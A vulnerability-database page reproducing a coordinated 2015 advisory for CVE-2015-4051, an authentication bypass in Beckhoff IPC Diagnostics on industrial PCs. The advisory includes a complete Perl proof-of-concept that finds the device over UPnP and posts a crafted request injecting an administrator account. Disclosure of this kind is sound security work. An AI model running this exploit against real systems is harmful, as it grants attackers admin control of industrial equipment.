Lucene search
K

Beckhoff IPC Diagnositcs Authentication Bypass

🗓️ 05 Jun 2015 00:00:00Reported by Frank LycopsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

Beckhoff IPC Diagnositcs Authentication Bypass CVE-2015-405

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Beckhoff CX9020 CPU Module - Remote Code Execution Exploit
22 Oct 201500:00
zdt
CNVD
Beckhoff IPC Diagnostics Arbitrary User Creation Vulnerability
9 Jun 201500:00
cnvd
Check Point Advisories
Beckhoff IPC Diagnostics Denial Of Service (CVE-2015-4051)
10 May 202100:00
checkpoint_advisories
CVE
CVE-2015-4051
8 Jun 201514:00
cve
Cvelist
CVE-2015-4051
8 Jun 201514:00
cvelist
Exploit DB
Beckhoff CX9020 CPU Module - Remote Code Execution
22 Oct 201500:00
exploitdb
EUVD
EUVD-2015-4078
7 Oct 202500:30
euvd
exploitpack
Beckhoff CX9020 CPU Module - Remote Code Execution
22 Oct 201500:00
exploitpack
NVD
CVE-2015-4051
8 Jun 201514:59
nvd
Tenable Nessus
Beckhoff Ipc Improper Access Control
27 May 202000:00
nessus
Rows per page
`Beckhoff IPC diagnostics < 1.8 : Authentication bypass  
======================================================  
  
CVE number: CVE-2015-4051  
Permalink: http://www.thesecurityfactory.be/permalink/beckhoff-authentication-bypass.html  
Vendor advisory: http://ftp.beckhoff.com/download/document/IndustPC/Advisory-2015-001.pdf  
  
-- Info --  
  
  
Beckhoff IPC diagnostics is support software that is preinstalled on all Beckhoff Industrial PCís (and PLCís) that are running an embedded Microsoft Windows operating system. The software enables various system diagnostics options, as well the possibility to alter various settings.  
  
-- Affected version --  
  
IPC Diagnostics < Version 1.8  
  
-- Vulnerability details --  
  
Due to a lack of authentication when making a call to /upnpisapi, an unauthenticated attacker is able to perform a variety of actions on the system by sending a specially crafted packet. These actions include rebooting the device or injecting a new user that has admin access rights on both the underlaying embedded Windows and webserver. Further access can be obtained on the system by connecting to SMB / FTP / telnet / Ö using the injected user.  
  
-- PoC --  
  
  
#!/usr/bin/perl  
use IO::Socket::INET;  
use strict;  
use warnings;  
if ($#ARGV < 0) { print "Usage: $0 ip\n"; exit(-1); }  
system("clear");  
print "Connecting to UPNP\n";  
my $upnp_req = "M-SEARCH * HTTP/1.1\r\n" .  
"Host:239.255.255.250:1900\r\n" .  
"ST:upnp:rootdevice\r\n" .  
"Man:\"ssdp:discover\"\r\n" .  
"MX:3\r\n" .  
"\r\n";  
my $ip = $ARGV[0];  
my $socket = new IO::Socket::INET ( PeerAddr => "$ip:1900", Proto => 'udp') or die "ERROR in Socket Creation : $!\n";  
$socket->send($upnp_req);  
my $usn;  
while (1)  
{  
my $data = <$socket>;  
print "$data";  
# Get the USN  
if ($data =~ /^USN:/) {  
print "\nUSN seen. Trying to get it\n";  
($usn) = $data =~ /^USN:uuid:(.*)::upnp:rootdevice/;  
last;  
}  
}  
print "\n\nUSN found: $usn\n\n";  
print "Creating curl command\n\n";  
my $curl_command = "curl -i -s -k -X 'POST' " .  
" -H 'SOAPAction: urn:beckhoff.com:service:cxconfig:1#Write' -H 'Content-Type: text/xml; charset=utf-8' " .  
" --data-binary \$'00-1340079872KAAAAAYAAAAAAAAAEgAAAEluamVjdHRoZVNlY3VyaXR5RmFjdG9yeQAA' " .  
" 'http://" . $ip . ":5120/upnpisapi?uuid:" . $usn . "+urn:beckhoff.com:serviceId:cxconfig'";  
print "Executing Curl command\n\n";  
system($curl_command);  
print "User: Inject, Password: theSecurityFactory should be injected";  
  
  
-- Solution --  
  
This issue has been fixed as of version 1.8.1.0  
  
-- Timeline --  
  
2015-27-01 Vulnerability discovery and creation of PoC  
2015-28-01 Vulnerability responsibly reported to vendor  
2015-13-02 Second disclosure to vendor  
2015-13-02 Vendor response and acknowledgement of vulnerability  
2015-15-04 - 2015-15-05 Various communications  
2015-21-05 Vendor update and advisory release  
2015-04-06 Advisory published in coordination with vendor  
  
-- Credits --  
  
Frank Lycops  
Frank.lycops [at] thesecurityfactory.be  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation